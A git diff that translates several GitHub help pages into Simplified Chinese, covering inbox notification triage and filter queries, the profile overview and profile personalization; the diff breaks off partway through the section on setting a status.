+++ b/translations/zh-CN/content/account-and-profile/managing-subscriptions-and-notifications-on-github/viewing-and-triaging-notifications/managing-notifications-from-your-inbox.md
@@ -1,6 +1,6 @@
 ---
-title: Managing notifications from your inbox
-intro: 'Use your inbox to quickly triage and sync your notifications across email{% ifversion fpt or ghes or ghec %} and mobile{% endif %}.'
+title: 从收件箱管理通知
+intro: '使用收件箱快速分类并在电子邮件{% ifversion fpt or ghes or ghec %}与手机{% endif %}之间同步您的通知。'
 redirect_from:
   - /articles/marking-notifications-as-read
   - /articles/saving-notifications-for-later
@@ -13,102 +13,103 @@ versions:
   ghec: '*'
 topics:
   - Notifications
-shortTitle: Manage from your inbox
+shortTitle: 从收件箱管理
 ---
+
 {% ifversion ghes %}
 {% data reusables.mobile.ghes-release-phase %}
 {% endif %}
 
-## About your inbox
+## 关于收件箱
 
 {% ifversion fpt or ghes or ghec %}
-{% data reusables.notifications-v2.notifications-inbox-required-setting %} For more information, see "[Configuring notifications](/github/managing-subscriptions-and-notifications-on-github/configuring-notifications#choosing-your-notification-settings)."
+{% data reusables.notifications-v2.notifications-inbox-required-setting %} 更多信息请参阅“[配置通知](/github/managing-subscriptions-and-notifications-on-github/configuring-notifications#choosing-your-notification-settings)”。
 {% endif %}
 
-To access your notifications inbox, in the upper-right corner of any page, click {% octicon "bell" aria-label="The notifications bell" %}.
+要访问通知收件箱，请在任意页面的右上角单击 {% octicon "bell" aria-label="The notifications bell" %}。
 
-  ![Notification indicating any unread message](/assets/images/help/notifications/notifications_general_existence_indicator.png)
+  ![表示任何未读消息的通知](/assets/images/help/notifications/notifications_general_existence_indicator.png)
 
-Your inbox shows all of the notifications that you haven't unsubscribed to or marked as **Done.** You can customize your inbox to best suit your workflow using filters, viewing all or just unread notifications, and grouping your notifications to get a quick overview.
+收件箱显示您尚未取消订阅或标记为**完成**的所有通知。您可以使用过滤器自定义收件箱，使之最适合您的工作流程，查看所有通知或只查看未读通知，对通知分组通知以获取快速概览。
 
-  ![inbox view](/assets/images/help/notifications-v2/inbox-view.png)
+  ![收件箱视图](/assets/images/help/notifications-v2/inbox-view.png)
 
-By default, your inbox will show read and unread notifications. To only see unread notifications, click **Unread** or use the `is:unread` query.
+默认情况下，您的收件箱将显示已读和未读通知。 如果只想查看未读通知，请单击 **Unread（未读）**或使用 `is:unread` 查询。
 
-  ![unread inbox view](/assets/images/help/notifications-v2/unread-inbox-view.png)
+  ![未读收件箱视图](/assets/images/help/notifications-v2/unread-inbox-view.png)
 
-## Triaging options
+## 分类选项
 
-You have several options for triaging notifications from your inbox.
+有多个选项可对收件箱中的通知进行分类。
 
-| Triaging option | Description |
-|-----------------|-------------|
-| Save            | Saves your notification for later review. To save a notification, to the right of the notification, click {% octicon "bookmark" aria-label="The bookmark icon" %}. <br> <br> Saved notifications are kept indefinitely and can be viewed by clicking **Saved** in the sidebar or with the `is:saved` query. If your saved notification is older than 5 months and becomes unsaved, the notification will disappear from your inbox within a day. |
-| Done            | Marks a notification as completed and removes the notification from your inbox. You can see all completed notifications by clicking **Done** in the sidebar or with the `is:done` query. Notifications marked as **Done** are saved for 5 months.
-| Unsubscribe     | Automatically removes the notification from your inbox and unsubscribes you from the conversation until you are @mentioned, a team you're on is @mentioned, or you're requested for review.
-| Read            | Marks a notification as read. To only view read notifications in your inbox, use the `is:read` query. This query doesn't include notifications marked as **Done**.
-| Unread          | Marks notification as unread. To only view unread notifications in your inbox, use the `is:unread` query. |
+| 分类选项 | 描述                                                                                                                                                                                                  |
+| ---- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| 保存   | 保存通知供以后查看。 要保存通知，在通知右侧单击 {% octicon "bookmark" aria-label="The bookmark icon" %}。 <br> <br> 保存的通知无限期保存，可单击侧边栏中的 **Saved（已保存）** 或通过 `is:saved` 查询查看。 如果您保存的通知超过5个月并且变成未保存，通知将在一天内从收件箱消失。 |
+| 已完成  | 将通知标记为已完成，并从收件箱中删除通知。 您可以单击侧边栏中的 **Done（完成）**或通过 `is:done` 查询来看到所有已完成的通知。 标记为 **Done（完成）**的通知将保存 5 个月。                                                                                              |
+| 取消订阅 | 自动从收件箱中删除通知并退订对话，仅当您被@提及、您所在的团队被@提及或者请求您进行审查时才会收到通知。                                                                                                                                                |
+| 读取   | 将通知标记为已读。 要在收件箱中只查看已读通知，可使用 `is:read` 查询。 此查询不包含标记为 **Done（完成）**的通知。                                                                                                                                |
+| 未读   | 将通知标记为未读。 要在收件箱中只查看未读通知，可使用 `is:unread` 查询。                                                                                                                                                         |
 
-To see the available keyboard shortcuts, see "[Keyboard Shortcuts](/github/getting-started-with-github/keyboard-shortcuts#notifications)."
+要查看可用的键盘快捷键，请参阅“[键盘快捷键](/github/getting-started-with-github/keyboard-shortcuts#notifications)”。
 
-Before choosing a triage option, you can preview your notification's details first and investigate. For more information, see "[Triaging a single notification](/github/managing-subscriptions-and-notifications-on-github/triaging-a-single-notification)."
+在选择分类选项之前，您可以先预览通知的详细信息并进行调查。 更多信息请参阅“[对单个通知进行分类](/github/managing-subscriptions-and-notifications-on-github/triaging-a-single-notification)”。
 
-## Triaging multiple notifications at the same time
+## 同时对多种通知分类
 
-To triage multiple notifications at once, select the relevant notifications and use the {% octicon "kebab-horizontal" aria-label="The edit icon" %} drop-down to choose a triage option.
+要一次对多种通知分类，请选择相关通知并使用 {% octicon "kebab-horizontal" aria-label="The edit icon" %} 下拉列表以选择分类选项。
 
-![Drop-down menu with triage options and selected notifications](/assets/images/help/notifications-v2/triage-multiple-notifications-together.png)
+![带有分类选项和选定通知的下拉菜单](/assets/images/help/notifications-v2/triage-multiple-notifications-together.png)
 
-## Default notification filters
+## 默认通知过滤器
 
-By default, your inbox has filters for when you are assigned, participating in a thread, requested to review a pull request, or when your username is @mentioned directly or a team you're a member of is @mentioned.
+默认情况下，收件箱中有针对您被分配任务、参与帖子、请求审查拉取请求的过滤器，或者针对您的用户名被直接 @提及或您所属团队被 @提及的过滤器。
 
-  ![Default custom filters](/assets/images/help/notifications-v2/default-filters.png)
+  ![默认自定义过滤器](/assets/images/help/notifications-v2/default-filters.png)
 
-## Customizing your inbox with custom filters
+## 使用自定义过滤器自定义收件箱
 
-You can add up to 15 of your own custom filters.
+您可以添加最多 15 个自定义过滤器。
 
 {% data reusables.notifications.access_notifications %}
-2. To open the filter settings, in the left sidebar, next to "Filters", click {% octicon "gear" aria-label="The Gear icon" %}.
+2. 若要打开过滤器设置，在左侧边栏的“Filters（过滤器）”旁边，单击 {% octicon "gear" aria-label="The Gear icon" %}。
 
   {% tip %}
 
-  **Tip:** You can quickly preview a filter's inbox results by creating a query in your inbox view and clicking **Save**, which opens the custom filter settings.
+  **提示：**您可以通过在收件箱视图中创建查询并单击**Save（保存）**快速预览过滤器收件箱结果， 这将打开自定义过滤器设置。
 
   {% endtip %}
 
-3. Add a name for your filter and a filter query. For example, to only see notifications for a specific repository, you can create a filter using the query `repo:octocat/open-source-project-name reason:participating`. You can also add emojis with a native emoji keyboard. For a list of supported search queries, see "[Supported queries for custom filters](#supported-queries-for-custom-filters)."
+3. 为过滤器和过滤器查询添加名称。 例如，如果只想看特定仓库的通知，可以使用查询 `repo:octocat/open-source-project-name reason:participating` 创建一个过滤器。 您也可以用原生表情键盘添加表情符号。 有关受支持的搜索查询的列表，请参阅“[支持的自定义过滤器查询](#supported-queries-for-custom-filters)”。
 
-  ![Custom filter example](/assets/images/help/notifications-v2/custom-filter-example.png)
+  ![自定义过滤器示例](/assets/images/help/notifications-v2/custom-filter-example.png)
 
-4. Click **Create**.
+4. 单击 **Create（创建）**。
 
-## Custom filter limitations
+## 自定义过滤器限制
 
-Custom filters do not currently support:
-  - Full text search in your inbox, including searching for pull request or issue titles.
-  - Distinguishing between the `is:issue`, `is:pr`, and `is:pull-request` query filters. These queries will return both issues and pull requests.
-  - Creating more than 15 custom filters.
-  - Changing the default filters or their order.
-  - Search [exclusion](/github/searching-for-information-on-github/understanding-the-search-syntax#exclude-certain-results) using `NOT` or `-QUALIFIER`.
+自定义过滤器当前不支持：
+  - 收件箱中的全文搜索，包括搜索拉取请求或议题标题。
+  - 区分 `is:issue`、`is:pr` 及 `is:pull-request` 查询过滤器。 这些查询将返回议题和拉取请求。
+  - 创建超过 15 个自定义过滤器。
+  - 更改默认过滤器或其顺序。
+  - 使用 `NOT` 或 `-QUALIFIER` 进行[排除](/github/searching-for-information-on-github/understanding-the-search-syntax#exclude-certain-results)搜索。
 
-## Supported queries for custom filters
+## 支持的自定义过滤器查询
 
-These are the types of filters that you can use:
-  - Filter by repository with `repo:`
-  - Filter by discussion type with `is:`
-  - Filter by notification reason with `reason:`{% ifversion fpt or ghec %}
-  - Filter by notification author with `author:`
-  - Filter by organization with `org:`{% endif %}
+以下是您可以使用的过滤器类型：
+  - 使用 `repo:` 按仓库过滤
+  - 使用 `is:` 按讨论类型过滤
+  - 使用 `reason:` 按通知原因过滤{% ifversion fpt or ghec %}
+  - 使用 `author:` 按通知作者过滤
+  - 使用 `org:` 按组织过滤{% endif %}
 
-### Supported `repo:` queries
+### 支持的 `repo:` 查询
 
-To add a `repo:` filter, you must include the owner of the repository in the query: `repo:owner/repository`. An owner is the organization or the user who owns the {% data variables.product.prodname_dotcom %} asset that triggers the notification. For example, `repo:octo-org/octo-repo` will show notifications triggered in the octo-repo repository within the octo-org organization.
+要添加 `repo:` 过滤器，您必须在查询中包含仓库的所有者：`repo:owner/repository`。 所有者是拥有触发通知的 {% data variables.product.prodname_dotcom %} 资产的组织或用户。 例如，`repo:octo-org/octo-repo` 将会显示在 octo-org 组织内的 octo-repo 仓库中触发的通知。
 
-### Supported `is:` queries
+### 支持的 `is:` 查询
 
-To filter notifications for specific activity on {% data variables.product.product_location %}, you can use the  `is` query. For example, to only see repository invitation updates, use `is:repository-invitation`{% ifversion not ghae %}, and to only see {% data variables.product.prodname_dependabot_alerts %}, use `is:repository-vulnerability-alert`{% endif %}.
+要在 {% data variables.product.product_location %} 上过滤特定活动的通知，您可以使用 `is` 查询。 For example, to only see repository invitation updates, use `is:repository-invitation`{% ifversion not ghae %}, and to only see {% data variables.product.prodname_dependabot_alerts %}, use `is:repository-vulnerability-alert`{% endif %}.
 
 - `is:check-suite`
 - `is:commit`
@@ -122,67 +123,67 @@ To filter notifications for specific activity on {% data variables.product.produ
 - `is:discussion`{% endif %}
 
 {% ifversion fpt or ghes or ghae-issue-4864 or ghec %}
-For information about reducing noise from notifications for {% data variables.product.prodname_dependabot_alerts %}, see "[Configuring notifications for vulnerable dependencies](/github/managing-security-vulnerabilities/configuring-notifications-for-vulnerable-dependencies)."
+有关减少 {% data variables.product.prodname_dependabot_alerts %} 通知干扰的信息，请参阅“[配置漏洞依赖项的通知](/github/managing-security-vulnerabilities/configuring-notifications-for-vulnerable-dependencies)”。
 {% endif %}
 
-You can also use the `is:` query to describe how the notification was triaged.
+您还可以使用 `is:` 查询来描述如何对通知进行分类。
 
 - `is:saved`
 - `is:done`
 - `is:unread`
 - `is:read`
 
-### Supported `reason:` queries
+### 支持的 `reason:` 查询
 
-To filter notifications by why you've received an update, you can use the `reason:` query. For example, to see notifications when you (or a team you're on) is requested to review a pull request, use `reason:review-requested`. For more information, see "[About notifications](/github/managing-subscriptions-and-notifications-on-github/about-notifications#reasons-for-receiving-notifications)."
+要根据收到更新的原因过滤通知，您可以使用 `reason:` 查询。 例如，要查看当您（或您所属团队）被请求审查拉取请求时的通知，请使用 `reason:review-requested`。 更多信息请参阅“[关于通知](/github/managing-subscriptions-and-notifications-on-github/about-notifications#reasons-for-receiving-notifications)”。
 
-| Query | Description |
-|-----------------|-------------|
-| `reason:assign` | When there's an update on an issue or pull request you've been assigned to.
-| `reason:author` | When you opened a pull request or issue and there has been an update or new comment.
-| `reason:comment`| When you commented on an issue, pull request, or team discussion.
-| `reason:participating` | When you have commented on an issue, pull request, or team discussion or you have been @mentioned.
-| `reason:invitation` | When you're invited to a team, organization, or repository.
-| `reason:manual` | When you click **Subscribe** on an issue or pull request you weren't already subscribed to.
-| `reason:mention` | You were directly @mentioned.
-| `reason:review-requested` | You or a team you're on have been requested to review a pull request.{% ifversion fpt or ghes or ghae-issue-4864 or ghec %}
-| `reason:security-alert` | When a security alert is issued for a repository.{% endif %}
-| `reason:state-change`  | When the state of a pull request or issue is changed. For example, an issue is closed or a pull request is merged.
-| `reason:team-mention` | When a team you're a member of is @mentioned.
-| `reason:ci-activity` | When a repository has a CI update, such as a new workflow run status.
+| 查询                        | 描述                                                                       |
+| ------------------------- | ------------------------------------------------------------------------ |
+| `reason:assign`           | 分配给您的议题或拉取请求有更新时。                                                        |
+| `reason:author`           | 当您打开拉取请求或议题并且有更新或新评论时。                                                   |
+| `reason:comment`          | 当您评论了议题、拉取请求或团队讨论时。                                                      |
+| `reason:participating`    | 当您评论了议题、拉取请求或团队讨论或者被@提及时。                                                |
+| `reason:invitation`       | 当您被邀请加入团队、组织或仓库时。                                                        |
+| `reason:manual`           | 当您在尚未订阅的议题或拉取请求上单击 **Subscribe（订阅）**时。                                   |
+| `reason:mention`          | 您被直接@提及。                                                                 |
+| `reason:review-requested` | 您或您所属的团队被请求审查拉取请求。{% ifversion fpt or ghes or ghae-issue-4864 or ghec %}
+| `reason:security-alert`   | 为仓库发出安全警报时。{% endif %}
+| `reason:state-change`     | 当拉取请求或议题的状态改变时。 例如，议题已关闭或拉取请求合并时。                                        |
+| `reason:team-mention`     | 您所在的团队被@提及时。                                                             |
+| `reason:ci-activity`      | 当仓库有 CI 更新时，例如新的工作流程运行状态。                                                |
 
 {% ifversion fpt or ghec %}
-### Supported `author:` queries
+### 支持的 `author:` 查询
 
-To filter notifications by user, you can use the `author:` query. An author is the original author of the thread (issue, pull request, gist, discussions, and so on) for which you are being notified. For example, to see notifications for threads created by the Octocat user, use `author:octocat`.
+要按用户过滤通知，您可以使用 `author:` 查询。 作者是指与通知相关的线程（议题、拉取请求、Gist、讨论等）的原作者。 例如，要查看与 Octocat 用户创建的线程相关的通知，请使用 `author:octocat`。
 
-### Supported `org:` queries
+### 支持的 `org:` 查询
 
-To filter notifications by organization, you can use the  `org` query. The organization you need to specify in the query is the organization of the repository for which you are being notified on {% data variables.product.prodname_dotcom %}. This query is useful if you belong to several organizations, and want to see notifications for a specific organization.
+要按组织过滤通知，您可以使用 `org` 查询。 您需要在查询中指定的组织是与您在 {% data variables.product.prodname_dotcom %} 上收到的通知相关之仓库所属的组织。 如果您属于多个组织，并且想要查看特定组织的通知，则此查询很有用。
 
-For example, to see notifications from the octo-org organization, use `org:octo-org`. 
+例如，要查看来自 octo-org 组织的通知，请使用 `org:octo-org`。
 
 {% endif %}
 
 {% ifversion fpt or ghes or ghae-issue-4864 or ghec %}
-## {% data variables.product.prodname_dependabot %} custom filters
+## {% data variables.product.prodname_dependabot %} 自定义过滤器
 
 {% ifversion fpt or ghec or ghes > 3.2 %}
-If you use {% data variables.product.prodname_dependabot %} to keep your dependencies up-to-date, you can use and save these custom filters:
-- `is:repository_vulnerability_alert` to show notifications for {% data variables.product.prodname_dependabot_alerts %}.
-- `reason:security_alert` to show notifications for {% data variables.product.prodname_dependabot_alerts %} and security update pull requests.
-- `author:app/dependabot` to show notifications generated by {% data variables.product.prodname_dependabot %}. This includes {% data variables.product.prodname_dependabot_alerts %}, security update pull requests, and version update pull requests.
+如果您使用 {% data variables.product.prodname_dependabot %} 来保持依赖项更新，您可以使用并保存这些自定义过滤器：
+- `is:repository_vulnerability_alert`，显示 {% data variables.product.prodname_dependabot_alerts %} 的通知。
+- `reason:security_alert`，显示 {% data variables.product.prodname_dependabot_alerts %} 的通知和安全更新拉取请求。
+- `author:app/dependabot`，显示 {% data variables.product.prodname_dependabot %} 生成的通知。 这包括 {% data variables.product.prodname_dependabot_alerts %}、安全更新拉取请求和版本更新拉取请求。
 
-For more information about {% data variables.product.prodname_dependabot %}, see "[About managing vulnerable dependencies](/github/managing-security-vulnerabilities/about-managing-vulnerable-dependencies)."
+有关 {% data variables.product.prodname_dependabot %} 的更多信息，请参阅“[关于管理有漏洞的依赖项](/github/managing-security-vulnerabilities/about-managing-vulnerable-dependencies)”。
 {% endif %}
 
 {% ifversion ghes < 3.3 or ghae-issue-4864 %}
 
 If you use {% data variables.product.prodname_dependabot %} to tell you about vulnerable dependencies, you can use and save these custom filters to show notifications for {% data variables.product.prodname_dependabot_alerts %}:
-- `is:repository_vulnerability_alert` 
+- `is:repository_vulnerability_alert`
 - `reason:security_alert`
 
-For more information about {% data variables.product.prodname_dependabot %}, see "[About alerts for vulnerable dependencies](/github/managing-security-vulnerabilities/about-alerts-for-vulnerable-dependencies)."
+有关 {% data variables.product.prodname_dependabot %} 的更多信息，请参阅“[关于有漏洞依赖项的警报](/github/managing-security-vulnerabilities/about-alerts-for-vulnerable-dependencies)”。
 {% endif %}
 
 {% endif %}
diff --git a/translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-profile/customizing-your-profile/about-your-profile.md b/translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-profile/customizing-your-profile/about-your-profile.md
index 7a6c7d46c8..ecd8e0adf5 100644
--- a/translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-profile/customizing-your-profile/about-your-profile.md
+++ b/translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-profile/customizing-your-profile/about-your-profile.md
@@ -1,6 +1,6 @@
 ---
-title: About your profile
-intro: 'Your profile page tells people the story of your work through the repositories you''re interested in, the contributions you''ve made, and the conversations you''ve had.'
+title: 关于您的个人资料
+intro: 您的个人资料向人们讲述您操作感兴趣的仓库的故事、您所做的贡献以及您进行过的对话。
 redirect_from:
   - /articles/viewing-your-feeds
   - /articles/profile-pages
@@ -15,29 +15,30 @@ versions:
 topics:
   - Profiles
 ---
-You can add personal information about yourself in your bio, like previous places you've worked, projects you've contributed to, or interests you have that other people may like to know about. For more information, see "[Adding a bio to your profile](/articles/personalizing-your-profile/#adding-a-bio-to-your-profile)."
+
+您可以在传记中加入您的个人信息，比如您以前工作的地方、您参与过的项目，或者其他人可能想知道的个人兴趣。 更多信息请参阅“[添加传记到个人资料](/articles/personalizing-your-profile/#adding-a-bio-to-your-profile)”。
 
 {% ifversion fpt or ghes or ghec %}
 
 {% data reusables.profile.profile-readme %}
 
-![Profile README file displayed on profile](/assets/images/help/repository/profile-with-readme.png)
+![个人资料上显示的个人资料自述文件](/assets/images/help/repository/profile-with-readme.png)
 
 {% endif %}
 
-People who visit your profile see a timeline of your contribution activity, like issues and pull requests you've opened, commits you've made, and pull requests you've reviewed. You can choose to display only public contributions or to also include private, anonymized contributions. For more information, see "[Viewing contributions on your profile page](/articles/viewing-contributions-on-your-profile-page)" or "[Publicizing or hiding your private contributions on your profile](/articles/publicizing-or-hiding-your-private-contributions-on-your-profile)."
+人们在访问您的个人资料时会看到您的贡献活动时间表，如您打开的议题和拉取请求、您进行的提交，以及您审查的拉取请求。 您可以选择只显示公共贡献或同时包含私人的匿名化贡献。 更多信息请参阅“[在个人资料页面中查看贡献](/articles/viewing-contributions-on-your-profile-page)”或“[在您的个人资料中公开或隐藏私人贡献](/articles/publicizing-or-hiding-your-private-contributions-on-your-profile)”。
 
-People who visit your profile can also see the following information.
+访问您的个人资料的人也可以看到以下信息。
 
-- Repositories and gists you own or contribute to. {% ifversion fpt or ghes or ghec %}You can showcase your best work by pinning repositories and gists to your profile. For more information, see "[Pinning items to your profile](/github/setting-up-and-managing-your-github-profile/pinning-items-to-your-profile)."{% endif %}
+- 你拥有或参与的仓库和 gists。 {% ifversion fpt or ghes or ghec %}您可以通过将仓库和 Gist 固定到个人资料中来展示您的最佳作品。 更多信息请参阅“[将项目嵌入到个人资料](/github/setting-up-and-managing-your-github-profile/pinning-items-to-your-profile)”。{% endif %}
 - Repositories you've starred{% ifversion fpt or ghec %} and organized into lists.{% endif %} For more information, see "[Saving repositories with stars](/articles/saving-repositories-with-stars/)."
-- An overview of your activity in organizations, repositories, and teams you're most active in. For more information, see "[Showing an overview of your activity on your profile](/articles/showing-an-overview-of-your-activity-on-your-profile)."{% ifversion fpt or ghec %}
-- Badges that show if you use {% data variables.product.prodname_pro %} or participate in programs like the {% data variables.product.prodname_arctic_vault %}, {% data variables.product.prodname_sponsors %}, or the {% data variables.product.company_short %} Developer Program. For more information, see "[Personalizing your profile](/github/setting-up-and-managing-your-github-profile/personalizing-your-profile#displaying-badges-on-your-profile)."{% endif %}
+- 您在经常参与的组织、仓库和团队中的活动概述。 更多信息请参阅“[在您的个人资料中显示活动概述](/articles/showing-an-overview-of-your-activity-on-your-profile)”。{% ifversion fpt or ghec %}
+- 徽章，显示您是否使用 {% data variables.product.prodname_pro %} 或参与计划，例如 {% data variables.product.prodname_arctic_vault %}、{% data variables.product.prodname_sponsors %} 或 {% data variables.product.company_short %} 开发者计划。 更多信息请参阅“[个性化您的个人资料](/github/setting-up-and-managing-your-github-profile/personalizing-your-profile#displaying-badges-on-your-profile)”。{% endif %}
 
-You can also set a status on your profile to provide information about your availability. For more information, see "[Setting a status](/articles/personalizing-your-profile/#setting-a-status)."
+您还可以在个人资料上设置状态，以提供有关您的可用性的信息。 更多信息请参阅“[设置状态](/articles/personalizing-your-profile/#setting-a-status)”。
 
-## Further reading
+## 延伸阅读
 
-- "[How do I set up my profile picture?](/articles/how-do-i-set-up-my-profile-picture)"
-- "[Publicizing or hiding your private contributions on your profile](/articles/publicizing-or-hiding-your-private-contributions-on-your-profile)"
-- "[Viewing contributions on your profile](/articles/viewing-contributions-on-your-profile)"
+- "[如何设置我的头像？](/articles/how-do-i-set-up-my-profile-picture)“
+- "[在个人资料中公开或隐藏私有贡献](/articles/publicizing-or-hiding-your-private-contributions-on-your-profile)"
+- "[在个人资料中查看贡献](/articles/viewing-contributions-on-your-profile)"
diff --git a/translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-profile/customizing-your-profile/personalizing-your-profile.md b/translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-profile/customizing-your-profile/personalizing-your-profile.md
index ad0820dc72..bf5ff6c53a 100644
--- a/translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-profile/customizing-your-profile/personalizing-your-profile.md
+++ b/translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-profile/customizing-your-profile/personalizing-your-profile.md
@@ -1,6 +1,6 @@
 ---
-title: Personalizing your profile
-intro: 'You can share information about yourself with other {% data variables.product.product_name %} users by setting a profile picture and adding a bio to your profile.'
+title: 个性化您的个人资料
+intro: '您可以在个人资料中设置头像和添加个人简历，与其他 {% data variables.product.product_name %} 用户共享您自己的信息。'
 redirect_from:
   - /articles/adding-a-bio-to-your-profile
   - /articles/setting-your-profile-picture
@@ -17,216 +17,200 @@ versions:
   ghec: '*'
 topics:
   - Profiles
-shortTitle: Personalize
+shortTitle: 个性化
 ---
-## Changing your profile picture
 
-Your profile picture helps identify you across {% data variables.product.product_name %} in pull requests, comments, contributions pages, and graphs.
+## 更改头像
 
-When you sign up for an account, {% data variables.product.product_name %} provides you with a randomly generated "identicon". [Your identicon](https://github.com/blog/1586-identicons) generates from a hash of your user ID, so there's no way to control its color or pattern. You can replace your identicon with an image that represents you.
+您的头像可帮助在 {% data variables.product.product_name %} 的拉取请求、评论、参与页面及图形中识别您。
+
+在注册帐户时，{% data variables.product.product_name %} 会提供一个随机生成的“默认肖像”。 [默认肖像](https://github.com/blog/1586-identicons)从用户 ID 的哈希生成，因此无法控制其颜色或图案。 您可以将默认肖像替换为能代表您的图片。
 
 {% tip %}
 
-**Tip**: Your profile picture should be a PNG, JPG, or GIF file under 1 MB in size. For the best quality rendering, we recommend keeping the image at about 500 by 500 pixels.
+**提示**：头像应为 1 MB 以下的 PNG、JPG 或 GIF 文件。 为获取质量最佳的渲染，建议图像的像素保持在大约 500 x 500 像素。
 
 {% endtip %}
 
-### Setting a profile picture
+### 设置头像
 
 {% data reusables.user_settings.access_settings %}
-2. Under **Profile Picture**, click {% octicon "pencil" aria-label="The edit icon" %} **Edit**.
-![Edit profile picture](/assets/images/help/profile/edit-profile-photo.png)
-3. Click **Upload a photo...**.
-![Update profile picture](/assets/images/help/profile/edit-profile-picture-options.png)
-3. Crop your picture. When you're done, click **Set new profile picture**.
-	![Crop uploaded photo](/assets/images/help/profile/avatar_crop_and_save.png)
+2. 在 **Profile Picture（头像）**下，单击 {% octicon "pencil" aria-label="The edit icon" %} **Edit（编辑）**。 ![编辑头像](/assets/images/help/profile/edit-profile-photo.png)
+3. 单击 **Upload a photo...（上传图片...）**。 ![更新头像](/assets/images/help/profile/edit-profile-picture-options.png)
+3. 裁剪图片。 完成后，单击 **Set new profile picture（设置新头像）**。 ![裁剪上传的照片](/assets/images/help/profile/avatar_crop_and_save.png)
 
-### Resetting your profile picture to the identicon
+### 将头像重置为默认肖像
 
 {% data reusables.user_settings.access_settings %}
-2. Under **Profile Picture**, click {% octicon "pencil" aria-label="The edit icon" %} **Edit**.
-![Edit profile picture](/assets/images/help/profile/edit-profile-photo.png)
-3. To revert to your identicon, click **Remove photo**. If your email address is associated with a [Gravatar](https://en.gravatar.com/), you cannot revert to your identicon. Click **Revert to Gravatar** instead.
-![Update profile picture](/assets/images/help/profile/edit-profile-picture-options.png)
+2. 在 **Profile Picture（头像）**下，单击 {% octicon "pencil" aria-label="The edit icon" %} **Edit（编辑）**。 ![编辑头像](/assets/images/help/profile/edit-profile-photo.png)
+3. 要还原为默认肖像，请单击 **Remove photo（删除照片）**。 如果您的电子邮件地址与[个人全球统一标识](https://en.gravatar.com/)关联，则无法还原到默认肖像。 此时请单击 **Revert to Gravatar（还原到个人全球统一标识）**。 ![更新头像](/assets/images/help/profile/edit-profile-picture-options.png)
 
-## Changing your profile name
+## 更改个人资料名称
 
-You can change the name that is displayed on your profile. This name may also be displayed next to comments you make on private repositories owned by an organization. For more information, see "[Managing the display of member names in your organization](/articles/managing-the-display-of-member-names-in-your-organization)."
+您可以更改显示在个人资料中的名称。 此名称也可能显示在您对于组织拥有的私有仓库所做的注释旁边。 更多信息请参阅“[管理组织中成员名称的显示](/articles/managing-the-display-of-member-names-in-your-organization)”。
 
 {% ifversion fpt or ghec %}
 {% note %}
 
-**Note:** If you're a member of an {% data variables.product.prodname_emu_enterprise %}, any changes to your profile name must be made through your identity provider instead of {% data variables.product.prodname_dotcom_the_website %}. {% data reusables.enterprise-accounts.emu-more-info-account %}
+**注：** 如果您是 {% data variables.product.prodname_emu_enterprise %} 的成员，则必须通过您的身份提供商而不是 {% data variables.product.prodname_dotcom_the_website %} 对您的个人资料名称进行任何更改。 {% data reusables.enterprise-accounts.emu-more-info-account %}
 
 {% endnote %}
 {% endif %}
 
 {% data reusables.user_settings.access_settings %}
-2. Under "Name", type the name you want to be displayed on your profile.
-  ![Name field in profile settings](/assets/images/help/profile/name-field.png)
+2. 在“Name（名称）”下，键入要显示在个人资料中的名称。 ![个人资料设置中的名称字段](/assets/images/help/profile/name-field.png)
 
-## Adding a bio to your profile
+## 在个人资料中添加个人简历
 
-Add a bio to your profile to share information about yourself with other {% data variables.product.product_name %} users. With the help of [@mentions](/articles/basic-writing-and-formatting-syntax) and emoji, you can include information about where you currently or have previously worked, what type of work you do, or even what kind of coffee you drink.
+在个人资料中添加个人简历，与其他 {% data variables.product.product_name %} 用户共享您自己的信息。 借助 [@提及](/articles/basic-writing-and-formatting-syntax)和表情符号，可以包含您当前或以前的工作经历、工作类型甚至您喜欢的咖啡种类。
 
 {% ifversion fpt or ghes or ghec %}
 
-For a longer-form and more prominent way of displaying customized information about yourself, you can also use a profile README. For more information, see "[Managing your profile README](/github/setting-up-and-managing-your-github-profile/managing-your-profile-readme)."
+要以更长和更突出的方式显示有关自己的自定义信息，您还可以使用个人资料自述文件。 更多信息请参阅“[管理个人资料自述文件](/github/setting-up-and-managing-your-github-profile/managing-your-profile-readme)”。
 
 {% endif %}
 
 {% note %}
 
-**Note:**
-  If you have the activity overview section enabled for your profile and you @mention an organization you're a member of in your profile bio, then that organization will be featured first in your activity overview. For more information, see "[Showing an overview of your activity on your profile](/articles/showing-an-overview-of-your-activity-on-your-profile)."
+**注：** 如果为个人资料启用了活动概述部分，并且您在个人资料的个人简历中 @提及您所属的组织，则该组织会先出现在活动概述中。 更多信息请参阅“[在您的个人资料中显示活动概述](/articles/showing-an-overview-of-your-activity-on-your-profile)”。
 
 {% endnote %}
 
 {% data reusables.user_settings.access_settings %}
-2. Under **Bio**, add the content that you want displayed on your profile. The bio field is limited to 160 characters.
-	![Update bio on profile](/assets/images/help/profile/bio-field.png)
+2. 在 **Bio（个人简历）**下，添加您要显示在个人资料中的内容。 个人资料字段限于 160 个字符。 ![更新个人资料中的个人简历](/assets/images/help/profile/bio-field.png)
 
   {% tip %}
 
-  **Tip:** When you @mention an organization, only those that you're a member of will autocomplete. You can still @mention organizations that you're not a member of, like a previous employer, but the organization name won't autocomplete for you.
+  **提示：**当您 @提及组织时，只有您所属的组织才会自动填写。 您也可 @提及您不是其成员的组织，例如前雇主，但不会自动填写该组织名称。
 
   {% endtip %}
 
-3. Click **Update profile**.
-	![Update profile button](/assets/images/help/profile/update-profile-button.png)
+3. 单击 **Update profile（更新个人资料）**。 ![更新个人资料按钮](/assets/images/help/profile/update-profile-button.png)
 
-## Setting a status
+## 设置状态
 
-You can set a status to display information about your current availability on {% data variables.product.product_name %}. Your status will show:
-- on your {% data variables.product.product_name %} profile page.
-- when people hover over your username or avatar on {% data variables.product.product_name %}.
-- on a team page for a team where you're a team member. For more information, see "[About teams](/articles/about-teams/#team-pages)."
-- on the organization dashboard in an organization where you're a member. For more information, see "[About your organization dashboard](/articles/about-your-organization-dashboard/)."
